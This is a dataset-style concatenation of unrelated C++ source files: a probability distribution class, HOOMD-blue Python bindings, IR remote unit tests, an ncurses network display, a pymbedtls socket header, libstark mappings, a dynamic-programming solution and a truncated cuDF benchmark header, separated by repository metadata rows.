while (change == 0 && ncount <= nmax) {
k = (left+right)/2.0;
fc = -c + gammaFunction(1-2/k)/gammaFunction(1-1/k)/gammaFunction(1-1/k);
fa = -c + gammaFunction(1-2/left)/gammaFunction(1-1/left)/gammaFunction(1-1/left);
if (fabs(fc) < tolk || (right-left)/2.0 < tolk) {
change = 1;
del = tolk;
}
if ( fa>0 && fc>0 )
left = k;
else if ( fa<0 && fc<0 )
left = k;
else
right = k;
ncount++;
}
}
// unlikely but possible that k was not found using either method above
if (del > tolk) {
opserr << "Warning: Type2Largest distribution did not converge during setParameters()" << endln;
return -1;
}
u = mean/gammaFunction(1-1/k);
return 0;
}
double
Type2LargestValueRV::getPDFvalue(double rvValue)
{
double result;
if ( 0.0 < rvValue ) {
result = k/u * pow(u/rvValue,k+1) * exp(-pow(u/rvValue,k));
}
else {
result = 0.0;
}
return result;
}
double
Type2LargestValueRV::getCDFvalue(double rvValue)
{
double result;
if ( 0.0 < rvValue ) {
result = exp(-pow(u/rvValue,k));
}
else {
result = 0.0;
}
return result;
}
double
Type2LargestValueRV::getInverseCDFvalue(double probValue)
{
return u * pow((-log(probValue)),(-1.0/k));
}
void
Type2LargestValueRV::Print(OPS_Stream &s, int flag)
{
s << "Type2LargestValue RV #" << this->getTag() << endln;
s << "\tu = " << u << endln;
s << "\tk = " << k << endln;
}
| 27.036199 | 100 | 0.524017 | kuanshi |
4e84ed994b9d954d0ae0db1541ba50d9830b1a52 | 1,607 | cc | C++ | hoomd/mpcd/StreamingGeometry.cc | jglaser/hoomd-blue | c21ae2b48314dcb7ac03fc1b23baf70879cc6709 | [
"BSD-3-Clause"
] | null | null | null | hoomd/mpcd/StreamingGeometry.cc | jglaser/hoomd-blue | c21ae2b48314dcb7ac03fc1b23baf70879cc6709 | [
"BSD-3-Clause"
] | null | null | null | hoomd/mpcd/StreamingGeometry.cc | jglaser/hoomd-blue | c21ae2b48314dcb7ac03fc1b23baf70879cc6709 | [
"BSD-3-Clause"
] | null | null | null | // Copyright (c) 2009-2021 The Regents of the University of Michigan
// This file is part of the HOOMD-blue project, released under the BSD 3-Clause License.
// Maintainer: mphoward
/*!
* \file mpcd/StreamingGeometry.cc
* \brief Export functions for MPCD streaming geometries.
*/
#include "StreamingGeometry.h"
namespace mpcd
{
namespace detail
{
void export_boundary(pybind11::module& m)
{
namespace py = pybind11;
py::enum_<boundary>(m, "boundary")
.value("no_slip", boundary::no_slip)
.value("slip", boundary::slip);
}
void export_BulkGeometry(pybind11::module& m)
{
namespace py = pybind11;
py::class_<BulkGeometry, std::shared_ptr<BulkGeometry> >(m, "BulkGeometry")
.def(py::init<>());
}
void export_SlitGeometry(pybind11::module& m)
{
namespace py = pybind11;
py::class_<SlitGeometry, std::shared_ptr<SlitGeometry> >(m, "SlitGeometry")
.def(py::init<Scalar, Scalar, boundary>())
.def("getH", &SlitGeometry::getH)
.def("getVelocity", &SlitGeometry::getVelocity)
.def("getBoundaryCondition", &SlitGeometry::getBoundaryCondition);
}
void export_SlitPoreGeometry(pybind11::module& m)
{
namespace py = pybind11;
py::class_<SlitPoreGeometry, std::shared_ptr<SlitPoreGeometry> >(m, "SlitPoreGeometry")
.def(py::init<Scalar, Scalar, boundary>())
.def("getH", &SlitPoreGeometry::getH)
.def("getL", &SlitPoreGeometry::getL)
.def("getBoundaryCondition", &SlitPoreGeometry::getBoundaryCondition);
}
} // end namespace detail
} // end namespace mpcd
| 29.218182 | 91 | 0.67206 | jglaser |
4e859b1708784765c62207b01d69eb86693e024c | 6,759 | cpp | C++ | arduino/portable/sketchbook/libraries/IRremoteESP8266/test/ir_Lego_test.cpp | devshop2019/mixlyTest | bb92771aca2d5d801510658a70a13f4b548a43aa | [
"Apache-2.0"
] | 118 | 2019-03-27T02:15:59.000Z | 2022-03-18T16:42:42.000Z | arduino/portable/sketchbook/libraries/IRremoteESP8266/test/ir_Lego_test.cpp | devshop2019/mixlyTest | bb92771aca2d5d801510658a70a13f4b548a43aa | [
"Apache-2.0"
] | 26 | 2019-04-17T16:39:30.000Z | 2021-11-06T11:55:42.000Z | arduino/portable/sketchbook/libraries/IRremoteESP8266/test/ir_Lego_test.cpp | devshop2019/mixlyTest | bb92771aca2d5d801510658a70a13f4b548a43aa | [
"Apache-2.0"
] | 58 | 2019-04-16T06:52:45.000Z | 2022-03-08T01:57:08.000Z | // Copyright 2019 David Conran
#include "IRrecv.h"
#include "IRrecv_test.h"
#include "IRsend.h"
#include "IRsend_test.h"
#include "gtest/gtest.h"
// General housekeeping
TEST(TestLego, Housekeeping) {
ASSERT_EQ("LEGOPF", typeToString(LEGOPF));
ASSERT_FALSE(hasACState(LEGOPF)); // Uses uint64_t, not uint8_t*.
}
// Tests for sendLego().
// Test sending typical data only.
TEST(TestSendLegoPf, SendDataOnly) {
IRsendTest irsend(0);
irsend.begin();
irsend.reset();
irsend.sendLegoPf(0x1234);
EXPECT_EQ(
"f38000d50"
"m158s1026"
"m158s263m158s263m158s263m158s553m158s263m158s263m158s553m158s263"
"m158s263m158s263m158s553m158s553m158s263m158s553m158s263m158s263"
"m158s70472", irsend.outputStr());
irsend.reset();
irsend.send(LEGOPF, 0x1234, kLegoPfBits);
EXPECT_EQ(
"f38000d50"
"m158s1026"
"m158s263m158s263m158s263m158s553m158s263m158s263m158s553m158s263"
"m158s263m158s263m158s553m158s553m158s263m158s553m158s263m158s263"
"m158s70472", irsend.outputStr());
}
// Test sending typical repeat data.
TEST(TestSendLegoPf, SendDataWithRepeats) {
IRsendTest irsend(0);
irsend.begin();
irsend.reset();
irsend.sendLegoPf(0x1234, kLegoPfBits, 1);
EXPECT_EQ(
"f38000d50"
"m0s32000"
"m158s1026"
"m158s263m158s263m158s263m158s553m158s263m158s263m158s553m158s263"
"m158s263m158s263m158s553m158s553m158s263m158s553m158s263m158s263"
"m158s70472"
"m158s1026"
"m158s263m158s263m158s263m158s553m158s263m158s263m158s553m158s263"
"m158s263m158s263m158s553m158s553m158s263m158s553m158s263m158s263"
"m158s70472"
"m158s1026"
"m158s263m158s263m158s263m158s553m158s263m158s263m158s553m158s263"
"m158s263m158s263m158s553m158s553m158s263m158s553m158s263m158s263"
"m158s150472"
"m158s1026"
"m158s263m158s263m158s263m158s553m158s263m158s263m158s553m158s263"
"m158s263m158s263m158s553m158s553m158s263m158s553m158s263m158s263"
"m158s150472"
"m158s1026"
"m158s263m158s263m158s263m158s553m158s263m158s263m158s553m158s263"
"m158s263m158s263m158s553m158s553m158s263m158s553m158s263m158s263"
"m158s150472", irsend.outputStr());
irsend.reset();
irsend.sendLegoPf(0x2345, kLegoPfBits, 2);
EXPECT_EQ(
"f38000d50"
"m0s16000"
"m158s1026"
"m158s263m158s263m158s553m158s263m158s263m158s263m158s553m158s553"
"m158s263m158s553m158s263m158s263m158s263m158s553m158s263m158s553"
"m158s70182"
"m158s1026"
"m158s263m158s263m158s553m158s263m158s263m158s263m158s553m158s553"
"m158s263m158s553m158s263m158s263m158s263m158s553m158s263m158s553"
"m158s70182"
"m158s1026"
"m158s263m158s263m158s553m158s263m158s263m158s263m158s553m158s553"
"m158s263m158s553m158s263m158s263m158s263m158s553m158s263m158s553"
"m158s182182"
"m158s1026"
"m158s263m158s263m158s553m158s263m158s263m158s263m158s553m158s553"
"m158s263m158s553m158s263m158s263m158s263m158s553m158s263m158s553"
"m158s182182"
"m158s1026"
"m158s263m158s263m158s553m158s263m158s263m158s263m158s553m158s553"
"m158s263m158s553m158s263m158s263m158s263m158s553m158s263m158s553"
"m158s182182", irsend.outputStr());
irsend.reset();
irsend.sendLegoPf(0x3456, kLegoPfBits, 7);
EXPECT_EQ(
"f38000d50"
"m158s1026"
"m158s263m158s263m158s553m158s553m158s263m158s553m158s263m158s263"
"m158s263m158s553m158s263m158s553m158s263m158s553m158s553m158s263"
"m158s69892"
"m158s1026"
"m158s263m158s263m158s553m158s553m158s263m158s553m158s263m158s263"
"m158s263m158s553m158s263m158s553m158s263m158s553m158s553m158s263"
"m158s69892"
"m158s1026"
"m158s263m158s263m158s553m158s553m158s263m158s553m158s263m158s263"
"m158s263m158s553m158s263m158s553m158s263m158s553m158s553m158s263"
"m158s213892"
"m158s1026"
"m158s263m158s263m158s553m158s553m158s263m158s553m158s263m158s263"
"m158s263m158s553m158s263m158s553m158s263m158s553m158s553m158s263"
"m158s213892"
"m158s1026"
"m158s263m158s263m158s553m158s553m158s263m158s553m158s263m158s263"
"m158s263m158s553m158s263m158s553m158s263m158s553m158s553m158s263"
"m158s213892"
"m158s1026"
"m158s263m158s263m158s553m158s553m158s263m158s553m158s263m158s263"
"m158s263m158s553m158s263m158s553m158s263m158s553m158s553m158s263"
"m158s213892"
"m158s1026"
"m158s263m158s263m158s553m158s553m158s263m158s553m158s263m158s263"
"m158s263m158s553m158s263m158s553m158s263m158s553m158s553m158s263"
"m158s213892", irsend.outputStr());
}
// Tests for decodeLego().
// Decode normal "synthetic" messages.
TEST(TestDecodeLegoPf, SyntheticDecode) {
IRsendTest irsend(0);
IRrecv irrecv(0);
irsend.begin();
irsend.reset();
irsend.sendLegoPf(0x000F);
irsend.makeDecodeResult();
ASSERT_TRUE(irrecv.decode(&irsend.capture));
EXPECT_EQ(LEGOPF, irsend.capture.decode_type);
EXPECT_EQ(kLegoPfBits, irsend.capture.bits);
EXPECT_FALSE(irsend.capture.repeat);
EXPECT_EQ(0x000F, irsend.capture.value);
EXPECT_EQ(1, irsend.capture.address);
EXPECT_EQ(0, irsend.capture.command);
irsend.reset();
irsend.sendLegoPf(0x100E);
irsend.makeDecodeResult();
ASSERT_TRUE(irrecv.decode(&irsend.capture));
EXPECT_EQ(LEGOPF, irsend.capture.decode_type);
EXPECT_EQ(kLegoPfBits, irsend.capture.bits);
EXPECT_FALSE(irsend.capture.repeat);
EXPECT_EQ(0x100E, irsend.capture.value);
EXPECT_EQ(2, irsend.capture.address);
EXPECT_EQ(0, irsend.capture.command);
irsend.reset();
irsend.sendLegoPf(0x221E);
irsend.makeDecodeResult();
ASSERT_TRUE(irrecv.decode(&irsend.capture));
EXPECT_EQ(LEGOPF, irsend.capture.decode_type);
EXPECT_EQ(kLegoPfBits, irsend.capture.bits);
EXPECT_FALSE(irsend.capture.repeat);
EXPECT_EQ(0x221E, irsend.capture.value);
EXPECT_EQ(3, irsend.capture.address);
EXPECT_EQ(0x21, irsend.capture.command);
// Test a bad LRC is not matched.
irsend.reset();
irsend.sendLegoPf(0x001F); // LRC should be 0xE, not 0xF.
irsend.makeDecodeResult();
irrecv.decode(&irsend.capture);
EXPECT_NE(LEGOPF, irsend.capture.decode_type);
}
// Decode normal "synthetic" message with releats.
TEST(TestDecodeLegoPf, SyntheticDecodeWithRepeat) {
IRsendTest irsend(0);
IRrecv irrecv(0);
irsend.begin();
irsend.reset();
irsend.sendLegoPf(0x330F, kLegoPfBits, 1);
irsend.makeDecodeResult();
ASSERT_TRUE(irrecv.decode(&irsend.capture));
EXPECT_EQ(LEGOPF, irsend.capture.decode_type);
EXPECT_EQ(kLegoPfBits, irsend.capture.bits);
EXPECT_EQ(0x330F, irsend.capture.value);
EXPECT_EQ(4, irsend.capture.address);
EXPECT_EQ(0x30, irsend.capture.command);
}
| 34.309645 | 72 | 0.767125 | devshop2019 |
4e85a81d76b6342dd3c23a53671d6ed700d0e764 | 63 | hpp | C++ | src/boost_numeric_odeint_algebra_algebra_dispatcher.hpp | miathedev/BoostForArduino | 919621dcd0c157094bed4df752b583ba6ea6409e | [
"BSL-1.0"
] | 10 | 2018-03-17T00:58:42.000Z | 2021-07-06T02:48:49.000Z | src/boost_numeric_odeint_algebra_algebra_dispatcher.hpp | miathedev/BoostForArduino | 919621dcd0c157094bed4df752b583ba6ea6409e | [
"BSL-1.0"
] | 2 | 2021-03-26T15:17:35.000Z | 2021-05-20T23:55:08.000Z | src/boost_numeric_odeint_algebra_algebra_dispatcher.hpp | miathedev/BoostForArduino | 919621dcd0c157094bed4df752b583ba6ea6409e | [
"BSL-1.0"
] | 4 | 2019-05-28T21:06:37.000Z | 2021-07-06T03:06:52.000Z | #include <boost/numeric/odeint/algebra/algebra_dispatcher.hpp>
| 31.5 | 62 | 0.84127 | miathedev |
4e89c787d419fc2b342b26ebe8db84689704173a | 4,979 | cc | C++ | curses/src/NetworkDisplay.cc | okeri/snm | 06ce502e5635029d1e642fdac87f4a19c0bc4520 | [
"MIT"
] | 3 | 2019-08-15T10:03:27.000Z | 2020-01-02T14:29:08.000Z | curses/src/NetworkDisplay.cc | okeri/snm | 06ce502e5635029d1e642fdac87f4a19c0bc4520 | [
"MIT"
] | null | null | null | curses/src/NetworkDisplay.cc | okeri/snm | 06ce502e5635029d1e642fdac87f4a19c0bc4520 | [
"MIT"
] | null | null | null | #include <algorithm>
#include <stdexcept>
#include "NetworkDisplay.hh"
namespace {
std::string formatStatus(snm::ConnectionStatus status) {
switch (status) {
case snm::ConnectionStatus::Initializing:
return "Initializing";
case snm::ConnectionStatus::Connecting:
return "Connecting";
case snm::ConnectionStatus::Authenticating:
return "Authenticating";
case snm::ConnectionStatus::GettingIP:
return "Getting ip address";
case snm::ConnectionStatus::AuthFail:
return "Authentication failed";
case snm::ConnectionStatus::Aborted:
return "Aborted";
case snm::ConnectionStatus::ConnectFail:
return "Connection failed";
default:
return "Unknown status";
}
}
} // namespace
NetworkDisplay::NetworkDisplay() :
Window(80, 24),
state_(snm::State::NotConnected, "", false, 0, "") {
int width, height;
getmaxyx(win_, height, width);
page_ = height - 3;
update();
}
void NetworkDisplay::update() {
int count = networks_.size();
int current = -1;
auto findCurrentNetwork = [this] () {
auto found = std::find_if(networks_.begin(), networks_.end(),
[this] (auto ni) {
return state_.essid == ni.essid;
});
return found != networks_.end() ?
std::distance(networks_.begin(), found) : -1;
};
if (state_.state != snm::State::NotConnected) {
current = findCurrentNetwork();
}
if (!networks_.empty()) {
selected_ = std::clamp(selected_, 0, count - 1);
} else {
selected_ = -1;
}
top_ = std::clamp(selected_ - page_ / 2, 0, std::max(count - page_, 0));
werase(win_);
auto utf_chars = [](const char *input) {
unsigned result = 0;
for (auto c = input; *c; ++c) {
if ((*c & 0xc0) == 0x80) {
result++;
}
}
return result;
};
box(win_, 0, 0);
if (count != 0) {
auto head = colorControl(Colors::Head);
mvwprintw(win_, 1, 1, " %5s %48s %10s Quality",
"Type", "Essid", "Secure");
head.release();
for (auto i = top_, max = std::min(count, top_ + page_); i < max; ++i) {
auto clr = colorControl();
if (selected_ == current && current == i) {
clr = Colors::SelTagged;
} else if (selected_ == i) {
clr = Colors::Selected;
} else if (current == i) {
clr = Colors::Tagged;
}
auto essid = i != current ? networks_[i].essid :
currentConnectionInfo();
mvwprintw(win_, i + 2 - top_, 1,
"%s%5s %*s %10s %3d%%", selected_ == i ? "> ":" ",
networks_[i].state == snm::State::Ethernet ?
"eth" : "wifi",
48 + utf_chars(essid.c_str()), essid.c_str(),
networks_[i].enc ? "secured" : "open",
networks_[i].quality);
}
} else {
static const std::string outOfNetworks = "No netwoks found.";
auto head = colorControl(Colors::Head);
int width, height;
getmaxyx(win_, height, width);
mvwprintw(win_, height / 2, (width - outOfNetworks.length()) / 2,
outOfNetworks.c_str());
}
update_panels();
doupdate();
}
void NetworkDisplay::assign(Networks &&networks) {
networks_ = networks;
update();
}
void NetworkDisplay::setState(snm::ConnectionState &&state) {
state_ = state;
update();
}
void NetworkDisplay::setStatus(snm::ConnectionStatus status) {
status_ = status;
update();
}
std::string NetworkDisplay::currentConnectionInfo() {
switch (state_.state) {
case snm::State::Ethernet:
case snm::State::Wifi:
return state_.essid + " [" + state_.ip + "]";
case snm::State::ConnectingEth:
case snm::State::ConnectingWifi:
return state_.essid + " (" + formatStatus(status_) + ")";
default:
return state_.essid;
}
}
std::optional<snm::NetworkInfo> NetworkDisplay::selectedNetwork() {
return selected_ != -1 ?
std::optional(networks_[selected_]) :
std::nullopt;
}
bool NetworkDisplay::pressed(int ch) {
switch (ch) {
case KEY_DOWN:
selected_++;
update();
return true;
case KEY_UP:
selected_--;
update();
return true;
case KEY_NPAGE:
selected_ += page_;
update();
return true;
case KEY_PPAGE:
selected_ -= page_;
update();
return true;
default:
return false;
}
}
| 26.625668 | 80 | 0.513356 | okeri |
4e8d380df9bbc49ccf93e8c34b8cf92f2bb76fc1 | 3,529 | hpp | C++ | tests/integration/framework/nsh-lwm2m/pymbedtls/src/socket.hpp | cerkiewny/Anjay | b38ac519225cb27369c9a411f3f96899075c1216 | [
"Apache-2.0"
] | 161 | 2017-02-08T12:07:22.000Z | 2022-03-20T11:10:10.000Z | tests/integration/framework/nsh-lwm2m/pymbedtls/src/socket.hpp | cerkiewny/Anjay | b38ac519225cb27369c9a411f3f96899075c1216 | [
"Apache-2.0"
] | 53 | 2017-03-15T12:58:40.000Z | 2022-01-20T09:31:54.000Z | tests/integration/framework/nsh-lwm2m/pymbedtls/src/socket.hpp | cerkiewny/Anjay | b38ac519225cb27369c9a411f3f96899075c1216 | [
"Apache-2.0"
] | 68 | 2017-02-21T15:02:02.000Z | 2022-03-19T06:24:21.000Z | /*
* Copyright 2017-2021 AVSystem <avsystem@avsystem.com>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef PYMBEDTLS_SOCKET_HPP
#define PYMBEDTLS_SOCKET_HPP
#include <mbedtls/ctr_drbg.h>
#include <mbedtls/debug.h>
#include <mbedtls/entropy.h>
#include <mbedtls/error.h>
#include <mbedtls/version.h>
#if MBEDTLS_VERSION_NUMBER >= 0x02040000 // mbed TLS 2.4 deprecated net.h
# include <mbedtls/net_sockets.h>
#else // support mbed TLS <=2.3
# include <mbedtls/net.h>
#endif
#include <mbedtls/ssl.h>
#include <mbedtls/ssl_cache.h>
#include <mbedtls/ssl_cookie.h>
#include <mbedtls/timing.h>
#include <memory>
#include "pybind11_interop.hpp"
namespace ssl {
class Context;
enum class SocketType { Client, Server };
class Socket {
friend class SecurityInfo;
friend class PskSecurity;
friend class CertSecurity;
enum class HandshakeResult { Finished, HelloVerifyRequired };
std::shared_ptr<Context> context_;
mbedtls_ssl_context mbedtls_context_;
mbedtls_ssl_cookie_ctx cookie_;
mbedtls_ssl_config config_;
mbedtls_entropy_context entropy_;
mbedtls_ctr_drbg_context rng_;
mbedtls_timing_delay_context timer_;
std::vector<int> ciphersuites_;
SocketType type_;
py::object py_socket_;
bool in_handshake_;
// Used to match incoming packets with a client we initially are
// connect()'ed to. It may change, if, for example connection_id extension
// is used and we received a packet from a different endpoint but the
// connection_id matched.
std::tuple<std::string, int> client_host_and_port_;
// Updated whenever we receive a packet from an endpoint we don't recognize.
// It must be there, because at the time of performing recv() we haven't
// parsed the packet as TLS record, and we cannot extract the connection_id
// (if any) to see if the packet is indeed valid and should be handled.
std::tuple<std::string, int> last_recv_host_and_port_;
static int _send(void *self, const unsigned char *buf, size_t len);
static int
_recv(void *self, unsigned char *buf, size_t len, uint32_t timeout_ms);
HandshakeResult do_handshake();
public:
Socket(std::shared_ptr<Context> context,
py::object py_socket,
SocketType type);
~Socket();
void connect(py::tuple host_port, py::object handshake_timeouts_s_);
void send(const std::string &data);
py::bytes recv(int);
void settimeout(py::object timeout_s_or_none);
py::bytes peer_cert();
py::object __getattr__(py::object name);
void __setattr__(py::object name, py::object value);
};
class ServerSocket {
std::shared_ptr<Context> context_;
py::object py_socket_;
public:
ServerSocket(std::shared_ptr<Context> context, py::object py_socket);
std::unique_ptr<Socket> accept(py::object handshake_timeouts_s);
py::object __getattr__(py::object name);
void __setattr__(py::object name, py::object value);
};
} // namespace ssl
#endif // PYMBEDTLS_SOCKET_HPP
| 31.508929 | 80 | 0.725135 | cerkiewny |
4e8eebe26a5f0a1fb33df7082cceaba5a4038c1d | 647 | cpp | C++ | game2/src/InstructionShape.cpp | uta-gasp/custom-calibration | 0e2039e56934f1aefd3a561a18bba960a34432ff | [
"MIT"
] | null | null | null | game2/src/InstructionShape.cpp | uta-gasp/custom-calibration | 0e2039e56934f1aefd3a561a18bba960a34432ff | [
"MIT"
] | null | null | null | game2/src/InstructionShape.cpp | uta-gasp/custom-calibration | 0e2039e56934f1aefd3a561a18bba960a34432ff | [
"MIT"
] | null | null | null | //---------------------------------------------------------------------------
#include "InstructionShape.h"
#include "assets_pg.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
//---------------------------------------------------------------------------
using namespace ProfiledGame;
//---------------------------------------------------------------------------
__fastcall TiInstructionShape::TiInstructionShape(TiAnimationManager* aManager,
TiSize aScreenSize, TiSize aViewport) :
TiLevelInstruction(aManager, aScreenSize, aViewport)
{
iLevelRcID = IDR_INSTRUCTIONS_LEVEL2;
}
| 34.052632 | 79 | 0.421947 | uta-gasp |
4e8fd0b4a02981b63c1911dfb824cbe6c436aa8a | 805 | hpp | C++ | libstark/src/reductions/BairToAcsp/Details/instanceMappings.hpp | ddsvetlov/libSTARK | 38aeda615864346dc1ff4c290e0d0d12ea324dfb | [
"MIT"
] | 399 | 2018-02-28T17:11:54.000Z | 2022-03-24T07:41:39.000Z | libstark/src/reductions/BairToAcsp/Details/instanceMappings.hpp | ddsvetlov/libSTARK | 38aeda615864346dc1ff4c290e0d0d12ea324dfb | [
"MIT"
] | 18 | 2018-03-02T14:53:53.000Z | 2022-02-14T21:30:03.000Z | libstark/src/reductions/BairToAcsp/Details/instanceMappings.hpp | ddsvetlov/libSTARK | 38aeda615864346dc1ff4c290e0d0d12ea324dfb | [
"MIT"
] | 90 | 2018-03-01T01:18:44.000Z | 2022-02-23T00:28:50.000Z | #ifndef _COMMON_BairToAcsp_INSTANCEMAPPINGS_HPP__
#define _COMMON_BairToAcsp_INSTANCEMAPPINGS_HPP__
#include "commonMappings.hpp"
namespace libstark{
namespace BairToAcsp{
class instanceMappings : public commonMappings{
public:
instanceMappings(const common& commonInfo);
Algebra::FieldElement mapVariable(const size_t varId)const;
witnessElement_t mapVariable_witnessElement(const size_t varId)const;
Algebra::FieldElement mapNonPermutation_zeroRow(const size_t elementId)const;
Algebra::FieldElement mapNonPermutation_lastRow(const size_t elementId)const;
protected:
const common& commonInfo_;
private:
Algebra::FieldElement getLastRowIndicator()const;
};
} //namespace BairToAcsp
} //namespace libstark
#endif // #ifndef _COMMON_BairToAcsp_INSTANCEMAPPINGS_HPP__
| 28.75 | 81 | 0.818634 | ddsvetlov |
4e91aaef0de6e20e02dbac66ae2d01b0d3fe48f5 | 651 | cpp | C++ | oi/joi/2016/a.cpp | sogapalag/problems | 0ea7d65448e1177f8b3f81124a82d187980d659c | [
"MIT"
] | 1 | 2020-04-04T14:56:12.000Z | 2020-04-04T14:56:12.000Z | oi/joi/2016/a.cpp | sogapalag/problems | 0ea7d65448e1177f8b3f81124a82d187980d659c | [
"MIT"
] | null | null | null | oi/joi/2016/a.cpp | sogapalag/problems | 0ea7d65448e1177f8b3f81124a82d187980d659c | [
"MIT"
] | null | null | null | #include <bits/stdc++.h>
using namespace std;
using ll=long long;
void solve() {
int n,m,k;
cin >> n >> m >> k;
vector<int> a(n);
for (auto& x: a) cin >> x;
vector<ll> dp(n + 1, 1ll<<61);
dp[0] = 0;
for (int i = 0; i < n; i++) {
int mx = 0, mi = 2e9;
for (int j = i; j >= 0 && j > i-m; j--) {
mx = max(mx, a[j]);
mi = min(mi, a[j]);
dp[i+1] = min(dp[i+1], dp[j] + k + (i-j+1) * 1ll * (mx-mi));
}
}
cout << dp[n] << '\n'; // atcoder, summit, need '\n'
}
int main() {
ios_base::sync_with_stdio(false);
cin.tie(NULL);
solve();
return 0;
}
| 21.7 | 72 | 0.423963 | sogapalag |
4e9320278fa26067f1f233e67e18f53cfce8a6a9 | 429 | hpp | C++ | include/imports.hpp | Dschahannam/bitcoin-clipper-poc | b490727925896a4394967d87168db58fe92e8053 | [
"Unlicense"
] | null | null | null | include/imports.hpp | Dschahannam/bitcoin-clipper-poc | b490727925896a4394967d87168db58fe92e8053 | [
"Unlicense"
] | null | null | null | include/imports.hpp | Dschahannam/bitcoin-clipper-poc | b490727925896a4394967d87168db58fe92e8053 | [
"Unlicense"
] | null | null | null | #pragma once
/*
* Bitcoin Clipper
* Author: d5chahannam
* Created at 05.02.2022 - 16:11
*/
#include <windows.h>
#include <string>
#include <optional>
#include <vector>
#include <sstream>
#include <functional>
#include <xmmintrin.h>
#include <iostream>
#include <thread>
#include <map>
#include <memory>
#include "nlohmann/json.hpp"
#include "logging.hpp"
#include "singleton.hpp"
#include "xor.hpp"
#include "clipper.hpp" | 16.5 | 32 | 0.710956 | Dschahannam |
4e935aa9e1ab12dbc71e907c3dfaa74793d75f69 | 217 | hpp | C++ | Libraries/OpenGLApi/Precompiled.hpp | jodavis42/ZilchShadersSamples | 3c94d295b68ae2e81ece3b12f3a17fe7d59566de | [
"MIT"
] | 1 | 2019-08-31T00:45:44.000Z | 2019-08-31T00:45:44.000Z | Libraries/OpenGLApi/Precompiled.hpp | jodavis42/ZilchShadersSamples | 3c94d295b68ae2e81ece3b12f3a17fe7d59566de | [
"MIT"
] | 2 | 2019-09-08T16:06:05.000Z | 2019-09-08T16:06:58.000Z | Libraries/OpenGLApi/Precompiled.hpp | jodavis42/ZilchShadersSamples | 3c94d295b68ae2e81ece3b12f3a17fe7d59566de | [
"MIT"
] | null | null | null | ///////////////////////////////////////////////////////////////////////////////
/// Authors: Joshua Davis
///////////////////////////////////////////////////////////////////////////////
#include "OpenGlStandard.hpp"
| 36.166667 | 79 | 0.193548 | jodavis42 |
4e93bae694204ba96aa472df407598577daf2cf5 | 344 | cpp | C++ | test/neg/neg-vis9.cpp | snake0/upcxx-2020.10.0 | dcd313a65587efcdefdb4fdfb197389a0e390ccd | [
"BSD-3-Clause-LBNL"
] | null | null | null | test/neg/neg-vis9.cpp | snake0/upcxx-2020.10.0 | dcd313a65587efcdefdb4fdfb197389a0e390ccd | [
"BSD-3-Clause-LBNL"
] | null | null | null | test/neg/neg-vis9.cpp | snake0/upcxx-2020.10.0 | dcd313a65587efcdefdb4fdfb197389a0e390ccd | [
"BSD-3-Clause-LBNL"
] | 1 | 2021-06-10T11:14:25.000Z | 2021-06-10T11:14:25.000Z | #include <upcxx/upcxx.hpp>
#include <tuple>
int main() {
upcxx::init();
long v = 0;
std::pair<long *,int> dp(&v,1);
using V = double;
upcxx::global_ptr<V> gp = upcxx::new_<V>();
std::pair<upcxx::global_ptr<V>,int> sp(gp,1);
upcxx::rget_irregular(&sp,&sp+1,
&dp,&dp+1).wait();
upcxx::finalize();
}
| 19.111111 | 47 | 0.549419 | snake0 |
4e97a4dbcd077add0e8ade12a7257129cdca02b9 | 261 | hpp | C++ | mge_v18_student_version/src/mge/util/LevelEditor/Factories/BoxFactory.hpp | TristanSmeets/Agent-OwO | 9ee94c8fd605cdf2b2274624ef55f83e527ee472 | [
"MIT"
] | null | null | null | mge_v18_student_version/src/mge/util/LevelEditor/Factories/BoxFactory.hpp | TristanSmeets/Agent-OwO | 9ee94c8fd605cdf2b2274624ef55f83e527ee472 | [
"MIT"
] | null | null | null | mge_v18_student_version/src/mge/util/LevelEditor/Factories/BoxFactory.hpp | TristanSmeets/Agent-OwO | 9ee94c8fd605cdf2b2274624ef55f83e527ee472 | [
"MIT"
] | null | null | null | #pragma once
#include "mge/util/LevelEditor/Factories/AbstractFactory.hpp"
class BoxFactory :
public AbstractFactory
{
public:
BoxFactory();
BoxFactory(lua_State* config);
virtual ~BoxFactory();
GameObject* CreateGameObject(const std::string& name);
};
| 18.642857 | 61 | 0.766284 | TristanSmeets |
4e9a61cc5d30dd1a3291541b0fe590e2238684bb | 3,036 | hpp | C++ | cpp/benchmarks/io/cuio_benchmarks_common.hpp | isVoid/cudf | 1a3b3f217be93a55b47af3a9d0da29f0fcb7c7e9 | [
"Apache-2.0"
] | 1 | 2020-07-08T21:46:50.000Z | 2020-07-08T21:46:50.000Z | cpp/benchmarks/io/cuio_benchmarks_common.hpp | isVoid/cudf | 1a3b3f217be93a55b47af3a9d0da29f0fcb7c7e9 | [
"Apache-2.0"
] | 1 | 2020-02-01T14:20:00.000Z | 2020-02-01T14:20:00.000Z | cpp/benchmarks/io/cuio_benchmarks_common.hpp | isVoid/cudf | 1a3b3f217be93a55b47af3a9d0da29f0fcb7c7e9 | [
"Apache-2.0"
] | null | null | null | /*
* Copyright (c) 2020, NVIDIA CORPORATION.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#pragma once
#include <cudf/io/types.hpp>
// used to make CUIO_BENCH_ALL_TYPES calls more readable
constexpr int UNCOMPRESSED = (int)cudf::io::compression_type::NONE;
constexpr int USE_SNAPPY = (int)cudf::io::compression_type::SNAPPY;
#define CUIO_BENCH_ALL_TYPES(benchmark_define, compression) \
benchmark_define(Boolean##_##compression, bool, compression); \
benchmark_define(Byte##_##compression, int8_t, compression); \
benchmark_define(Ubyte##_##compression, uint8_t, compression); \
benchmark_define(Short##_##compression, int16_t, compression); \
benchmark_define(Ushort##_##compression, uint16_t, compression); \
benchmark_define(Int##_##compression, int32_t, compression); \
benchmark_define(Uint##_##compression, uint32_t, compression); \
benchmark_define(Long##_##compression, int64_t, compression); \
